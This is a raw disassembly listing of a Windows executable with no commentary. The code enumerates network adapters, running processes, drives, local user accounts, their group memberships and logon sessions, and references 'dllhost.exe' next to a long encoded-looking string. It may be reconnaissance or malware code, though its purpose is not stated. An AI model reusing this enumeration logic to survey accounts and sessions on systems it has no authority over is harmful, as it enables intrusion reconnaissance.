mov qword [rsi + 8], rax
mov edi, 1
test rdi, rdi
je 0x140002c92
mov rcx, rsi
call fcn.14000f208
cmp rax, 1
je 0x140002c5a
mov rax, qword [rsp + 0x6d8]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x6e8], cx
add qword [rsp + 0x6d0], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x6d8], rax
jmp 0x140002c18
shl rdx, 5
mov rax, qword [rsp + 0x6d0]
mov rdi, qword [rsp + 0x6f0]
mov rcx, rax
sub rcx, rdx
dec rdi
mov qword [rsp + 0x6f0], rdi
mov rcx, qword [rcx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
call fcn.14000bae0
jmp 0x140002c13
mov rcx, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
mov r8d, 0x20
call fcn.140012ea5
mov rax, qword [rsp + 0x480]
mov rcx, qword [rsp + 0x488]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x498]
lea rsi, [rsp + 0x1f0]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov ebx, 0x88
mov rcx, rsi
call fcn.140012810
test rax, rax
je 0x140002d3c
mov rdi, rax
cmp byte [rax - 2], 0
jne 0x140002cf9
mov rax, qword [rsp + 0x480]
sub rax, rdi
cqo
idiv rbx
mov rcx, r14
mov rdx, rax
call fcn.140014201
mov rcx, qword [rdi - 0x88]
mov rdx, qword [rdi - 0x80]
call fcn.140005bda
jmp 0x140002cf9
lea rdi, [rsp + 0x340]
mov dword [rdi], 0x3c00
and dword [rsp + 0x170], 0
mov ebx, 3
sub ebx, 1
jb 0x140002e20
mov ecx, dword [rsp + 0x340]
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140002dc5
mov rsi, rax
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov edx, 0xe
xor r8d, r8d
mov r9, rax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov dword [rsp + 0x170], eax
cmp eax, 0x6f
jne 0x140002da1
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x140002d57
test eax, eax
jne 0x140002e18
mov qword [rsp + 0x6d8], rsi
mov qword [rsp + 0x6e0], rsi
and qword [rsp + 0x6d0], 0
xor ecx, ecx
jmp 0x140002e82
mov ecx, 0x32
call fcn.14000ba2c
mov rcx, rax
movups xmm0, xmmword [str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSES]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x140021070]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140021080]
movdqu xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0x5345
mov qword [rsp + 0x6d0], rax
mov qword [rsp + 0x6d8], rdx
mov qword [rsp + 0x6e0], 0x32
jmp 0x140002e82
mov rcx, rsi
call sub.msvcrt.dll_free
lea rax, [rsp + 0x170]
mov qword [rsp + 0x380], rax
lea rax, str.GetAdaptersAddresses___failed_with_code
lea rdx, [rsp + 0x1f0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400065c9]
mov qword [rsp + 0x388], rcx
lea rcx, [rsp + 0x380]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x6d0]
mov rcx, rsi
call fcn.14000e73a
mov rcx, qword [rsi]
test rcx, rcx
je 0x140002e99
mov rdx, qword [rsp + 0x6d8]
call fcn.140005bda
jmp 0x140002ffa
movdqu xmm0, xmmword [rsp + 0x6d8]
lea rax, [rsp + 0x380]
movdqu xmmword [rax], xmm0
lea rbx, [rsp + 0x170]
pcmpeqd xmm6, xmm6
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x380]
call fcn.140014c25
mov r14, qword [rsp + 0x1f0]
test r14, r14
je 0x140002fed
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x498], 0
je 0x140002fdb
mov r12, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x4a0]
mov rdx, qword [rsp + 0x4a8]
mov r8, r14
mov r9, r12
call fcn.140012941
mov rbp, qword [rsp + 0x480]
mov rsi, qword [rsp + 0x488]
mov rdi, rsi
and rdi, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor r13d, r13d
movdqu xmm8, xmmword [rbp + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x170], ax
mov rcx, rbx
call fcn.14000f208
test rax, rax
je 0x140002fa5
add rdx, rdi
and rdx, rsi
neg rdx
imul r15, rdx, 0x88
mov r8, qword [rbp + r15 - 0x88]
mov r9, qword [rbp + r15 - 0x78]
mov rcx, r14
mov rdx, r12
call fcn.140006a9c
test al, al
je 0x140002f6a
jmp 0x140002fc3
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002fdb
add rdi, r13
add rdi, 0x10
add r13, 0x10
and rdi, rsi
jmp 0x140002f4e
add rbp, r15
lea rcx, [rsp + 0x208]
movzx eax, word [rcx + 4]
mov word [rbp - 4], ax
mov eax, dword [rcx]
mov dword [rbp - 8], eax
mov rcx, r14
mov rdx, qword [rsp + 0x70]
call fcn.140005bda
jmp 0x140002eba
mov rcx, qword [rsp + 0x380]
call sub.msvcrt.dll_free
mov byte [rsp + 0x8e], 1
mov word [rsp + 0x8c], 0x101
call fcn.14000d9fb
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jge 0x14000302d
xor eax, eax
jmp 0x140003044
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov qword [rsp + 0xb0], rax
mov esi, 0x80000
lea rdi, [rsp + 0x9c]
mov rcx, rsi
xor edx, edx
call fcn.140005bee
mov rbx, rax
mov rbp, rdx
and dword [rsp + 0x9c], 0
mov ecx, 5
mov rdx, rax
mov r8d, esi
mov r9, rdi
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400030b0
mov eax, dword [rsp + 0x9c]
test eax, eax
je 0x1400030a0
add eax, 0x2800
mov rsi, rax
jmp 0x1400030a3
add rsi, rsi
mov rcx, rbx
mov rdx, rbp
call fcn.140005bda
jmp 0x140003059
mov ecx, 8
mov edx, 0xfa0
call fcn.140005924
test rax, rax
je 0x140005461
lea rsi, [rsp + 0x170]
mov qword [rsi], rax
mov qword [rsi + 8], 0x1f4
and qword [rsi + 0x10], 0
xor edx, edx
xor edi, edi
cmp rdx, qword [rsp + 0x178]
jne 0x140003106
mov rcx, rsi
call fcn.140007c12
mov rax, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x180]
lea rcx, [rbx + rdi]
mov qword [rax + rdx*8], rcx
mov rdx, qword [rsp + 0x180]
inc rdx
mov qword [rsp + 0x180], rdx
mov ecx, dword [rcx]
add rdi, rcx
test rcx, rcx
jne 0x1400030e4
mov qword [rsp + 0x78], rbx
lea rsi, [rsp + 0x660]
lea rax, [rsp + 0x450]
mov qword [rsi], rax
lea rcx, [rsp + 0x520]
xor edx, edx
call fcn.1400143c1
mov rax, qword [rsp + 0x5a0]
lea rcx, [rsp + 0x698]
mov qword [rcx], rax
mov rbx, qword [rsp + 0x180]
mov qword [rsp + 0x200], rbx
movdqu xmm0, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x1f0], xmm0
mov qword [rsp + 0x130], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x208], rsi
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], rcx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x220], rax
mov rdi, qword [rsp + 0x1f8]
cmp rdi, rbx
jb 0x140005461
lea rsi, [rsp + 0x208]
mov r14, qword [rsi - 0x18]
mov rcx, rbx
call fcn.140012871
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0x380]
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
mov r9, rax
call fcn.14001068d
test rdi, rdi
je 0x14000323f
shl rdi, 3
mov edx, 8
mov rcx, r14
mov r8, rdi
call fcn.140008017
mov rax, qword [rsp + 0x390]
xor edx, edx
sub rax, 1
jb 0x140003261
mov rsi, qword [rsi]
test rsi, rsi
je 0x140003261
add rdx, qword [rsi + 0x10]
add rsi, 0x18
jmp 0x140003249
lea rcx, [rsp + 0x130]
call fcn.1400129ff
mov rax, qword [rsp + 0x390]
lea rdi, [rsp + 0x6d0]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x380]
movdqa xmmword [rdi], xmm0
lea r12, [rsp + 0x1f8]
lea rbx, [rsp + 0x1f0]
mov rcx, rdi
call fcn.14000f743
test rax, rax
je 0x140003344
mov rsi, qword [rax]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x340], xmm0
mov rcx, rax
call fcn.140010683
test rsi, rsi
je 0x140003344
mov qword [rsp + 0x1f0], rsi
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [r12], xmm0
mov r14, qword [rsp + 0x200]
lea rcx, [rsp + 0x130]
mov rdx, r14
call fcn.1400129ff
mov r15, qword [rsp + 0x140]
imul rcx, r15, 0x150
add rcx, qword [rsp + 0x130]
imul r8, r14, 0x150
mov rdx, rsi
call sub.msvcrt.dll_memcpy
add r15, r14
mov qword [rsp + 0x140], r15
and qword [rsp + 0x200], 0
mov rcx, rbx
call fcn.14000e240
jmp 0x14000329f
mov qword [rsp + 0x90], rbp
lea rcx, [rsp + 0x6d0]
call fcn.140010651
mov rbp, qword [rsp + 0x130]
imul rcx, qword [rsp + 0x140], 0x150
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xa0], rax
lea rax, [rcx + rbp]
mov qword [rsp + 0xa8], rax
lea rbx, [rsp + 0x380]
lea r13, [rsp + 0x1f0]
mov qword [rsp + 0x80], rbp
test rcx, rcx
je 0x1400035e5
mov r14, qword [rbp]
cmp r14, 2
je 0x1400035de
mov qword [rsp + 0x70], rcx
lea rsi, [rbp + 0xc8]
mov r15, qword [rbp + 0xc0]
lea rdx, [rbp + 8]
mov r8d, 0xb8
lea rcx, [rsp + 0x6d0]
call sub.msvcrt.dll_memcpy
mov r8d, 0x88
mov rcx, rbx
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x340], r15
mov rcx, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x478]
mov r8, r15
call fcn.14000f18d
mov rsi, rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x460], 0
je 0x1400035c4
lea rax, [rsp + 0x130]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x450]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
lea rax, [0x140013ad0]
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9, r13
call fcn.14001396c
test rax, rax
je 0x140003527
mov rax, qword [rsp + 0x340]
mov rcx, qword [rsp + 0x450]
movzx r8d, byte [rcx + rdx]
and r8d, 1
sub qword [rsp + 0x460], r8
shr rsi, 0x39
lea r8, [rdx - 0x10]
and r8, qword [rsp + 0x458]
mov byte [rcx + rdx], sil
mov byte [r8 + rcx + 0x10], sil
inc qword [rsp + 0x468]
mov r12, qword [rsp + 0x450]
neg rdx
imul rdi, rdx, 0x158
lea rsi, [r12 + rdi]
add rsi, 0xfffffffffffffeb8
mov qword [rsi - 0x10], rax
mov qword [rsi - 8], r14
mov r8d, 0xb8
mov rcx, rsi
lea rdx, [rsp + 0x6d0]
call sub.msvcrt.dll_memcpy
mov qword [rsi + 0xb8], r15
lea rcx, [r12 + rdi]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rbx
call sub.msvcrt.dll_memcpy
jmp 0x1400035ac
mov rdi, qword [rsp + 0x450]
neg rdx
imul r12, rdx, 0x158
lea rsi, [rdi + r12]
add rsi, 0xfffffffffffffeb0
mov r8d, 0x150
mov rcx, r13
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsi], r14
lea rsi, [rdi + r12]
add rsi, 0xfffffffffffffeb8
mov r8d, 0xb8
mov rcx, rsi
lea rdx, [rsp + 0x6d0]
call sub.msvcrt.dll_memcpy
mov qword [rsi + 0xb8], r15
lea rcx, [rdi + r12]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rbx
call sub.msvcrt.dll_memcpy
cmp qword [rsp + 0x1f0], 2
je 0x1400035ac
mov rcx, r13
call fcn.14000e2ab
add rbp, 0x150
mov rcx, qword [rsp + 0x70]
add rcx, 0xfffffffffffffeb0
jmp 0x1400033a1
lea rcx, [rsp + 0x450]
lea rdx, [rsp + 0x470]
call fcn.140013af6
jmp 0x140003435
add rbp, 0x150
mov rax, qword [rsp + 0xa8]
sub rax, rbp
mov ecx, 0x150
xor edx, edx
div rcx
mov rcx, rbp
mov rdx, rax
call fcn.14000e281
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xa0]
call fcn.14000e26a
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x468]
lea rsi, [rsp + 0x1f0]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov r14d, 0x158
lea rbp, [rsp + 0x9c]
mov rcx, rsi
call fcn.140012f2b
test rax, rax
je 0x1400036ba
mov rdi, rax
cmp byte [rax - 4], 0
mov byte [rax - 4], 0
jne 0x14000366f
mov rax, qword [rsp + 0x450]
sub rax, rdi
cqo
idiv r14
lea rcx, [rsp + 0x450]
mov rdx, rax
call fcn.140014201
add rdi, 0xfffffffffffffeb0
mov rcx, rdi
call fcn.14000e2ab
jmp 0x14000366f
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x90]
call fcn.140005bda
call sub.KERNEL32.dll_GetLogicalDrives
mov dword [rsp + 0x340], eax
test eax, eax
je 0x140003893
lea r12, [rsp + 0x138]
mov qword [r12 - 8], 8
pxor xmm0, xmm0
movdqu xmmword [r12], xmm0
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1f0], rax
movabs rax, 0x2000000000
mov qword [rsp + 0x1f8], rax
mov ecx, 0x20
call fcn.140012871
and dword [rsp + 0x28], 0
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x20], 1
xor edi, edi
mov edx, 0x20
mov rcx, rbx
xor r8d, r8d
mov r9, rax
call fcn.14000f771
mov rax, qword [rsp + 0x390]
lea r13, [rsp + 0x208]
sub rax, 1
jb 0x14000377f
mov rbx, qword [rbx]
test rbx, rbx
je 0x14000377f
add rdi, qword [rbx + 0x10]
add rbx, 0x18
jmp 0x140003767
lea rsi, [rsp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.140012a36
mov rax, qword [rsp + 0x390]
lea rdi, [rsp + 0x6d0]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x380]
movaps xmmword [rdi], xmm0
lea rbx, [rsp + 0x1f0]
mov rcx, rdi
call fcn.14000f743
test rax, rax
je 0x140003865
mov r14, qword [rax]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x170], xmm0
mov rcx, rax
call fcn.140010683
test r14, r14
je 0x140003865
mov qword [rsp + 0x1f0], r14
movdqa xmm0, xmmword [rsp + 0x170]
lea rax, [rsp + 0x1f8]
movdqu xmmword [rax], xmm0
mov r15, qword [rsp + 0x200]
mov rcx, rsi
mov rdx, r15
call fcn.140012a36
mov r13, qword [rsp + 0x140]
imul rcx, r13, 0x90
add rcx, qword [rsp + 0x130]
imul r8, r15, 0x90
mov rdx, r14
call sub.msvcrt.dll_memcpy
add r13, r15
mov qword [rsp + 0x140], r13
lea r13, [rsp + 0x208]
and qword [rsp + 0x200], 0
mov rcx, rbx
call fcn.14000e1a6
jmp 0x1400037b9
lea rcx, [rsp + 0x6d0]
call fcn.14000f711
mov rsi, qword [rsp + 0x130]
movdqu xmm0, xmmword [r12]
movdqa xmmword [rsp + 0x1f0], xmm0
lea r14, [rsp + 0x8c]
jmp 0x1400038b5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
mov esi, 8
lea r14, [rsp + 0x8c]
lea r13, [rsp + 0x208]
lea rcx, [rsp + 0x4f0]
call fcn.14000e1a6
mov qword [rsp + 0x4f0], rsi
lea rax, [rsp + 0x220]
movdqa xmm0, xmmword [rax - 0x30]
movdqu xmmword [rsp + 0x4f8], xmm0
lea rsi, [rsp + 0x340]
mov qword [rsi], 8
pxor xmm6, xmm6
movdqu xmmword [rsi + 8], xmm6
lea rax, [rsp + 0x1e8]
and dword [rax], 0
lea rbx, [rsp + 0x698]
and qword [rsp + 0xb0], 0
and dword [rsp + 0x114], 0
and dword [rsp + 0x1ec], 0
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x114]
mov qword [rsp + 0x28], rax
or dword [rsp + 0x20], 0xffffffff
xor ecx, ecx
xor edx, edx
mov r8d, 2
lea r9, [rsp + 0xb0]
call sub.NETAPI32.dll_NetUserEnum
test eax, eax
je 0x140003976
cmp eax, 0xea
jne 0x140003cc9
mov dword [rsp + 0x70], eax
mov r15, qword [rsp + 0xb0]
mov eax, dword [rsp + 0x114]
lea r12, [r15 + rax*8]
cmp r15, r12
je 0x140003cad
mov rdi, r15
add r15, 8
cmp qword [rdi], 0
je 0x14000398d
and qword [rsp + 0x660], 0
mov rdx, qword [rdi]
xor ecx, ecx
mov r8d, 0x17
lea r9, [rsp + 0x660]
call sub.NETAPI32.dll_NetUserGetInfo
test eax, eax
jne 0x140003c92
mov rax, qword [rsp + 0x660]
mov rdx, qword [rax + 0x20]
lea rcx, [rsp + 0x170]
call fcn.14000ea61
mov rdx, qword [rsp + 0x170]
test rdx, rdx
je 0x140003c92
lea rcx, [rsp + 0x1f0]
call fcn.1400142b3
cmp qword [rsp + 0x1f0], 0
je 0x140003a32
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x140], rax
movdqu xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x130], xmm0
jmp 0x140003a42
mov rdx, qword [rdi]
lea rcx, [rsp + 0x130]
call fcn.14000df70
mov rdx, qword [rdi]
and qword [rsp + 0x698], 0
and dword [rsp + 0x8c], 0
and dword [rsp + 0x9c], 0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], rbx
or dword [rsp + 0x28], 0xffffffff
lea rcx, [0x140021020]
xor r8d, r8d
mov r9d, 1
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
je 0x140003aa8
lea rax, [rsp + 0x388]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x380], 8
jmp 0x140003c02
mov esi, dword [rsp + 0x8c]
test rsi, rsi
je 0x140003acc
imul rdx, rsi, 0x18
mov ecx, 8
call fcn.140005924
test rax, rax
jne 0x140003ad1
jmp 0x140005461
mov eax, 8
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], rsi
and qword [rsp + 0x390], 0
mov r13, qword [rsp + 0x698]
test r13, r13
je 0x140003b39
mov edi, dword [rsp + 0x8c]
cmp esi, edi
jae 0x140003b79
lea rcx, [rsp + 0x380]
xor edx, edx
mov r8, rdi
call fcn.14000f042
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140005465
mov rax, qword [rsp + 0x380]
mov rsi, qword [rsp + 0x390]
jmp 0x140003b88
mov rax, qword [rsp + 0x390]
lea rcx, [rsp + 0x220]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x388]
mov qword [rcx + 8], rax
lea rsi, [rsp + 0x340]
lea r13, [rsp + 0x208]
jmp 0x140003c3f
mov esi, 0
mov ecx, 0
test rdi, rdi
je 0x140003bda
imul rbp, rsi, 0x18
add rbp, rax
xor ebx, ebx
lea r14, [rsp + 0x6d0]
mov rdx, qword [r13 + rbx*8]
mov rcx, r14
call fcn.14000df70
mov rax, qword [rsp + 0x6e0]
mov qword [rbp + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x6d0]
movdqu xmmword [rbp], xmm0
inc rbx
add rbp, 0x18
cmp rdi, rbx
jne 0x140003b99
add rsi, rbx
mov rcx, rsi
lea rbp, [rsp + 0x9c]
mov qword [rsp + 0x390], rcx
lea rsi, [rsp + 0x340]
lea rbx, [rsp + 0x698]
lea r14, [rsp + 0x8c]
lea r13, [rsp + 0x208]
mov rcx, qword [rsp + 0x698]
mov rax, qword [rsp + 0x390]
lea rdx, [rsp + 0x220]
mov qword [rdx + 0x10], rax
mov rax, qword [rsp + 0x380]
mov qword [rdx], rax
mov rax, qword [rsp + 0x388]
mov qword [rdx + 8], rax
test rcx, rcx
je 0x140003c3f
call sub.NETAPI32.dll_NetApiBufferFree
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x1f0], xmm0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x200], rax
and dword [rsp + 0x238], 0
mov rax, qword [rsp + 0x140]
mov qword [r13 + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x130]
movdqu xmmword [r13], xmm0
mov rcx, rsi
lea rdx, [rsp + 0x1f0]
call fcn.140014380
mov rcx, qword [rsp + 0x660]
test rcx, rcx
je 0x14000398d
call sub.NETAPI32.dll_NetApiBufferFree
jmp 0x14000398d
mov rcx, qword [rsp + 0xb0]
cmp dword [rsp + 0x70], 0xea
jne 0x140003cd1
call fcn.14001429f
jmp 0x14000390b
mov rcx, qword [rsp + 0xb0]
call fcn.14001429f
lea rcx, [rsp + 0x660]
and dword [rcx], 0
lea rsi, [rsp + 0x698]
and qword [rsi], 0
mov rdx, rsi
call sub.Secur32.dll_LsaEnumerateLogonSessions
mov rcx, qword [rsi]
test eax, eax
jne 0x140003ef7
mov eax, dword [rsp + 0x660]
lea rbx, [rcx + rax*8]
lea rsi, [rsp + 0x170]
lea r14, [rsp + 0x1f0]
pxor xmm6, xmm6
cmp rcx, rbx
je 0x140003eef
lea r12, [rcx + 8]
and qword [rsp + 0x170], 0
mov rdx, rsi
call sub.Secur32.dll_LsaGetLogonSessionData
mov rcx, qword [rsp + 0x170]
test eax, eax
je 0x140003d53
call fcn.1400142a9
mov rcx, r12
jmp 0x140003d1f
test rcx, rcx
je 0x140003df3
cmp dword [rcx + 0x40], 3
je 0x140003d49
movzx r13d, word [rcx + 0x10]
mov r15, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x48]
mov rcx, r14
call fcn.14000ea61
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
je 0x140003ee2
mov qword [rsp + 0x78], r15
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x340]
imul rbp, qword [rsp + 0x350], 0x50
test rbp, rbp
je 0x140003dfa
lea r14, [rdx + 0x50]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
mov r8, rdi
mov r9, r15
call fcn.140006a9c
add rbp, 0xffffffffffffffb0
mov rdx, r14
test al, al
je 0x140003db3
mov rcx, rdi
mov rdx, qword [rsp + 0x70]
call fcn.140005bda
lea r14, [rsp + 0x1f0]
jmp 0x140003ee2
xor ecx, ecx
jmp 0x140003d49
lea rcx, [rsp + 0x6d0]
mov rdx, rdi
call fcn.1400142b3
mov rax, qword [rsp + 0x6d0]
test rax, rax
je 0x140003e36
lea rcx, [rsp + 0x6d8]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x380], xmm0
lea r14, [rsp + 0x1f0]
jmp 0x140003e83
shr r13d, 1
lea r14, [rsp + 0x1f0]
mov rcx, r14
mov rdx, qword [rsp + 0x78]
mov r8, r13
call fcn.140005dac
mov rax, qword [rsp + 0x1f0]
test rax, rax
lea rcx, [rsp + 0x1f8]
je 0x140003e75
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x140003e83
movdqa xmmword [rsp + 0x380], xmm6
mov eax, 1
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], r15
lea rcx, [rsp + 0x210]
movdqu xmmword [rcx + 0x18], xmm6
and dword [rcx + 0x28], 0
mov qword [rsp + 0x208], rax
movdqa xmm0, xmmword [rsp + 0x380]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x220], 8
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.140014380
mov rcx, qword [rsp + 0x170]
jmp 0x140003d49
mov rcx, qword [rsp + 0x698]
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x200], rax
movups xmm0, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x1f0], xmm0
test rcx, rcx
je 0x140003f21
call fcn.14001ac00
mov rcx, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x518]
call fcn.140012dce
mov rcx, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x510]
call fcn.140012e91
mov rax, qword [rsp + 0x200]
lea rcx, [rsp + 0x508]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x1f0]
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x620], rax
mov r14, qword [rsp + 0x450]
mov rbp, qword [rsp + 0x458]
mov rdi, qword [rsp + 0x468]
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x100], rax
movdqa xmm0, xmmword [r14]
pmovmskb esi, xmm0
not esi
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x4f8]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x568]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x168], rax
lea r12, [rbp + r14 + 1]
lea rbx, [r14 + 0x10]
mov ecx, 0x38
mov edx, 8
call fcn.1400016cd
mov r15, rax
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r12
mov word [rax + 0x18], si
mov qword [rsp + 0x610], rdi
mov qword [rax + 0x20], rdi
lea r13, str.dllhost.exeQPLNH5XTTH6MB2QG6KJZDS46MIIE6BT2FDNEQ5EGR7OV6GEVRQWORZ4O4V7FK3GVJQYPI6SSSMDY5CJZ3ILDOCNK7B22VT3OS5PKHDLZHIOI7GDFBFKZN7TIGMQHXXS7UZRFEEODFKURXORPTJQOS3EBPJ3QOU4YJIB76EUHCCVHLQ6XAWUELR5EVSOW7I25SHUPR2ZCDNFYESM2CXTY3BH6DKLWKEKG23J4BCTNEALU3XKILB4HMUDEWN4TB2JCAXITG7GWHIVX5AU2ZTU6G2O3FBRFXTEDXXRDSOWAUXPI7A323JLULF7VKOVW6Z5IOCRB46JLHSMLGAYNXRNEWE7NOIKEKPJNLFDBSM3ULQSP6DWZADMC2VGFYUMD2CZBHW3ZX5WI7LE32OFKLC3WWJ2P6JP5FCT5YUWCHGOKACZPXTJEOVED5YNRTLIE7YJFWS2EPOUCCNRZY
mov qword [rax + 0x28], r13
mov qword [rax + 0x30], 0xb
mov edi, 0xb
mov rcx, r15
call fcn.140012f2b
test rax, rax
